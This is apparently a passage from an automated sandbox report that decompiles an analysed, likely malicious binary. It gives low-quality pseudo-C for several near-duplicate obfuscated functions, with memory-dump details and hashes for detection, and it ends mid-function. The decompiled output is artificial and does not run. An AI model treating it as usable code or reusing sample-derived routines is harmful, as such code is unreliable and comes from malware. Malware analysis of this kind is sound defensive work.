							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
